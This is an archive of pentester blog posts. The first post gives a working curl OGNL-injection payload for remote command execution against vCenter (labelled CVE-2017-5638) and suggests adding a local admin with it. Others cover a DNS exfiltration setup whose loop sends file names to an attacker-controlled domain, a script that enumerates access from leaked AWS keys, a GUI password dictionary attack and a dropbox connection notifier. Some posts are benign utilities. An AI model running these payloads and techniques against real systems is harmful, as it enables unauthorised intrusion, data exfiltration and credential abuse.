Friday, April 14, 2017

Exploiting the VMware VCenter RCE (CVE-2017-5638)

I got lucky enough to be able to test this exploit code on an active engagement so I thought I'd share my PoC:

1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):

curl -v -k https://VICTIMIPHERE/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
EOF
)"
3. The response body should be the output of the command

You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)

Wednesday, March 22, 2017

A Review of Outernet's Satellite Reciever

I recently came across mention of the Outernet project. They market themselves as a simple, low cost, receive only packet radio receiver. It seemed like an interesting enough project and at $99 for a preprogrammed board/all the hardware I'd need I figured why not.

Setup

Setting it up was relatively simple, just hook up the CHIP, battery, LNA, and panel antenna as we were good to go. After about a couple minutes of the board starting up you'll see an open Wifi network called "Outernet". Connect in, visit "10.0.0.1" and enter "outernet:outernet" for the login (case matters on the username).

The Interface

You'll then be presented with the main interface. Click the circle in the upper left corner to get a listing of the "apps" installed. It's pretty spartan, but then again that's what the project is. Click on the "Tuner" app, it should look like this:

In the drop down box on the Satellite tab, make sure the proper satellite/location is chosen, otherwise you simply won't ever get a lock. Once you chose the proper satellite, and double checked to make sure everything is hooked up properly, you can start pointing the panel at the satellite. I used the n2yo.com satellite tracking site to help me roughly aim the panel. It doesn't have to be exact. I used the "SNR" value on the Status tab to help me aim. Once I got a consistent reading above 3.0dB I knew it would be sufficient. Cloudy days give me about 5-7 and clear ones give me 7-10dB. If you are around 1-2dB or less, something is wrong.
I ended up mounting my panel to an old tripod so I wouldn't have to hold it. Not pretty or rugged, but works for the time being:
I also configured the board settings to connect to my home network as a client versus setting up its own hotspot. You can do this using the "Network" app from the interface.

So everything is set up, now I have data downloading. That was fun. Probably not $99 fun, but I got some new hardware out of it and I got to say I did something with satellites. Personally, it was just barely worth the $99.

While the kit is received only, Outernet does allow people to submit files to be included (up to 10KB, and moderated) in the transmission.

Accurate Expectations:

If you are interested in getting an Outernet setup, please make sure you have the proper expectations. Here is what you get practically from buying and setting one up yourself:

  • Text only daily news from several sources
  • 2-day old fancy weather data that looks really pretty
  • APRS messages (mostly useless)
  • Offline text-only Wikipedia
This is not a replacement for the Internet, no matter what ignorant media people tell you, this is really not a replacement for anything at all. The only possible use case I can really think of is for someone in the middle of nowhere wanting some news/Wikipedia articles to read. The Outernet project is definitely not solving any average person's problems.

It DOES however provide the following:
  • CHIP board, Low Noise Amplifier, Panel Antenna, Battery pack, and aluminum cased RTLSDR
  • Decent first introduction to microwave satellites
  • A distraction
  • A cute idea
Would I buy this again? Not likely
Would I recommend this? Meh

Thursday, February 23, 2017

Enumerate Leaked AWS API Key Access

Sometimes on a pentest engagement (or from https://gitleaks.com) you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.

So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.

So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)

You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
$ ./AWSEnumerator.py AKXXXXXXXXXXXXXXXXXA ENtXXXXXXXXXXXXXXXXXq
Checking for S3 buckets
  Total # of buckets: 9
    Bucket: bucket1 [8 objects]
    Bucket: bucket2 [1000 objects]
    Bucket: bucket3-dev [1000 objects]
    Bucket: bucket4 [1 objects]
    Bucket: bucket5 [747 objects]
    Bucket: otherbucket [1000 objects]
    Bucket: morebucket [54 objects]
    Bucket: whereismahbucket [26 objects]
    Bucket: ilikefish [95 objects]
Checking for EC2 Instances
  Total # of EC2 Instances: 2
    Instance: t2.nano - 52.570.576.548 - running
    Instance: t2.small - stopped
Checking for Lightsail Instances
  Total # of Lightsail instances: 1
    Name: enumtest1, Username: ubuntu, IP: 254.244.198.296, State: running
Checking for DynamoDB Tables
  Total # of DynamoDB Tables: 2
    Table Name: tabletest
    Table Name: test2
This information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.

Currently, the script supports:
  - EC2 Instances (type, IP, status)
  - S3 Buckets (name, number of objects)
  - Lightsail Instances (name, username, IP, state)
  - DynamoDB (table name)

I am planning on adding support for additional services as time goes on.

The tool can be found at https://github.com/atucom/AWSEnumerator

Friday, February 3, 2017

Super Simple DNS Exfiltration

I needed to test if I got command execution on a target box. Pretty much every outbound port was blocked. Luckily, it's extremely rare for people to turn off outbound UDP port 53 so DNS queries can still make it through.

In order for you to get a basic DNS exfil setup to work you'll need a couple things:
  1. A VPS to sniff the DNS queries
  2. A domain to direct the DNS queries to
The first step is to configure an NS record for a subdomain of your main domain. I simply created an NS record for e.domain.tld (replace domain.tld with your domain) and pointed it to the IP address of VPS.

Now when someone requests somedata.e.domain.tld the UDP request packet will go to the VPS IP. Run tshark/tcpdump to grab the request and prove if you have command execution or not.

I partially wrote the following python script to just parse out the domain name being requested.

#!/usr/bin/env python2

from scapy.all import *
from scapy.layers.dns import DNSRR, DNS, DNSQR

def handlepkt(p):
  #thanks stackoverflow!
  if p.haslayer(DNS):
      if p.qdcount > 0 and isinstance(p.qd, DNSQR):
          name = p.qd.qname
      elif p.ancount > 0 and isinstance(p.an, DNSRR):
          name = p.an.rdata
      print name

sniff(iface=eth0, filter="udp and port 53", store=0,  prn=handlepkt)

Since your DNS settings are configured properly, just start the python sniffer and run something like

for i in *; do host $i.e.domain.tld; done

And watch the requests come in.

Friday, January 6, 2017

How to Encrypt/Decrypt Using An RSA Keypair In Ruby

Simple process:
require 'openssl'

#Import your private/public keypair into separate objects to play with
priv = OpenSSL::PKey::RSA.new(File.read('test1.priv'))
pub = OpenSSL::PKey::RSA.new(File.read('test1.pub'))

#Use your public key to encrypt some data
#Here, 3 means use no padding (I needed it for some testing)
#Here I used 56bit keys and no padding which is why my input plaintext must be 56bits (7 characters)
#If you want the default of PKCS#1 padding, just remove the '3' argument
crypted = pub.public_encrypt("123456\n", 3)

#Now decrypt using your private key object (must supply same padding as before, or leave off for default)
decrypted = priv.private_decrypt(crypted,3)

Above I created the .priv and .pub using the following openssl commands:

#I chose 56 bits for testing, if used in reality it should be much higher like 2048
openssl genrsa -out test1.priv 56

#Using your private key, create a public key
openssl rsa -in test1.priv -out test1.pub -outform PEM -pubout

Thursday, November 3, 2016

OpenVPN Client Disconnect Notification

So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.

OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:

--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.

So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).

This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).

No Twilio?

Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMS


Steps:


  1. Configure OpenVPN server to allow user-created scripts to run
  2. Drop the python SMS scripts in /etc/openvpn/
  3. Test/verify the connection

Configure OpenVPN:

Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:

script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py

and then do a "service openvpn restart" to reload the config


Drop Python SMS scripts:

With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:

client-disconnect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))

client-connect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))

You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.


Test the connection:

You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:

cd /etc/openvpn
bash
export common_name=asdf
export ifconfig_pool_remote_ip=qwer
./client-connect.py


Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.

Caveat:
     The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.

TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.

Thursday, October 13, 2016

Consolidate Single IPs Into Ranges

Sometimes you'll have a file of one IP per line and it contains large swaths of continuous IP space. Listing out each IP of a /24 is unnecessary many times and looks way better if you shrink/consolidate them into networks.
I wrote the following python script to do just that.

#!/usr/bin/env python3
#takes in a file of one-per-line IPs and consolidates them into ranges
#@atucom

import ipaddress
import argparse
import sys

result = []
def consolidate(ipobj):
  result.append(ipobj)
  for ipstr in iparry:
    ipobj2 = ipaddress.ip_address(ipstr)
    if ipobj + 1 == ipobj2:
      result.append(ipobj2)
      iparry.remove(ipstr)
      consolidate(ipobj2)


if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument("FILE" ,help='The input file of one-per-line IPs to consolidate')
  args = parser.parse_args()
  if args.FILE:
    with open(args.FILE, 'r') as f:
      iparry = f.read().splitlines()
    for ipstr in iparry:
      consolidate(ipaddress.ip_address(ipstr))
      if ipaddress.ip_address(ipstr) == result[-1]:
        print(result[-1])
      else:
        print("%s - %s" % (ipaddress.ip_address(ipstr), result[-1]))
  else:
    exit(1)

It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges

That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9

Wednesday, September 14, 2016

Better PHP Serialized Regex

Below is the regex I came up with to find instances of PHP serialized strings in other input. I made the regex a little loose to not miss any of them popping up. I tested this and it works perfectly.

(i|s|a|o|d):\d+:(.*);?


Tuesday, August 9, 2016

Automatic GUI Password Dictionary Attack Using PyAutoGui

I had a Samsung Portable SSD that has hardware encryption. You need a separate driver app to recognize it being inserted into USB and then it automatically starts up the password prompt for you to login.

After some researching and prodding, there didn't seem to be any way to login over the command line so I was restricted to typing the text at the password prompt. boooooo. I couldn't even copy and paste into the window so I had to manually type every character. I decided to look into GUI automation to see if I could create a script that would automatically click and type for me. I found PyAutoGUI from google and automate the boring stuff and decided to implement it. The script is actually extremely simple:

#!/usr/local/bin/python3
import time
import pyautogui
import os

list =  ['password1','password2','password3','...']
count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

The if statement inside the for loop kills the app and restarts (at 6 password tries) it so it resets the internal counter of the application. There is no reason to wait 20 seconds to enter the next password when you can just kill the app and start again with a fresh timer in 4 seconds.

In action:


Generate your password list using JTR, format into a list and let it run overnight. You cant really use your computer while this is running.

UPDATE:
I changed up my code a little bit to be more reliable, read the password from a file, detect when the password is correct and die at that time. Here is the updated and better code:

#!/usr/local/bin/python3
import time
import pyautogui
import os
import subprocess

wordlist = open('wordlist.txt','r')
list = wordlist.read().splitlines()

count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  mountlist = subprocess.check_output(["mount"])
  if "Samsung_T1" in mountlist:
    print 'THE DRIVE IS MOUNTED'
    exit()
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

Thursday, July 28, 2016

How to import "raw" IPs into Burp

If you need to test a list of IPs and *any* domains that may be on those IPs, burp doesn't exactly make it easy to enter in a large number of IPs. If you try to use the "load" button with a file of just one IP per line, it will import it, but it will also do something extremely annoying:

Those regexes? They mess up everything. Before if you entered 1.2.3.4, ANY domain name that resolved to that would show up in the filtered sitemap, now only instances of "1.2.3.4" show up, and if you visit the domains, they no longer appear, because they don't match the regex.

I finally figured out how to upload a "raw" list of IPs into the scope listing unmodified. Burp has a feature on a tiny button that allows you to "load options", which is really just a json formatted file with a bunch of different Burp settings:
So I decided to take a look at the format, and holy crap, "raw" IPs are actually recognized properly in this settings file. So I wrote a quick python script to create a proper settings file from a supplied list of IPs:


#!/usr/bin/env python
#@atucom
#this script takes in a one-per-line file of IPs and adds it to Burp without any stupid regexes
#  This mimics the same thing as hitting the "add" button in the Scope tab
#  to load the resultant file, you need to go to the Scope tab, hit the little gear button in the 
#  top left and click "load settings", choose the jsonout.txt file and rejoice.
import sys
import json
basejson = """
{
    "target":{
        "scope":{
            "exclude":[
                {
                    "enabled":true,
                    "file":"logout",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"logoff",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"exit",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"signout",
                    "protocol":"any"
                }
            ],
            "include":[
            ]
        }
    }
}
"""
ipfile = open(sys.argv[1]) #open file of IPs (one per line)
iplist = ipfile.readlines()
dictjson = json.loads(basejson) #load base json data structure
for ip in iplist:
  newip = {"enabled":True, "host":ip.strip(), "protocol":"any"}
  dictjson['target']['scope']['include'].append(newip) #appends new IP entry to python dict

jsonout = open("jsonout.txt", "w")
jsonout.write(json.dumps(dictjson))
print("wrote to jsonout.txt")

To use it, run the script and supply the file with you one-per-line IP list. It will dump out a "jsonout.txt" file. In Burp, go to Target > Scope > Gear Button > Load Options > select jsonout.txt > Open

That should be it, your IPs should now show up in the "include in scope" box like below:


I also saved it to my gist for posterity: https://gist.github.com/atucom/b083d1f3b12606aaf4076a689d200939

I always assumed there had to be a supported way of doing this but after asking several people, nobody could find a way. This seems to be the only way that works for what I need done. Now, I just need to write up a Burp extension for it...

UPDATE:
Thanks to the help of a friend of mine with the Burp plugin code, I've been able to create a burp plugin that accomplishes this task:
https://gist.github.com/atucom/eabf35f344f46ffbd2f8d25b018f88c9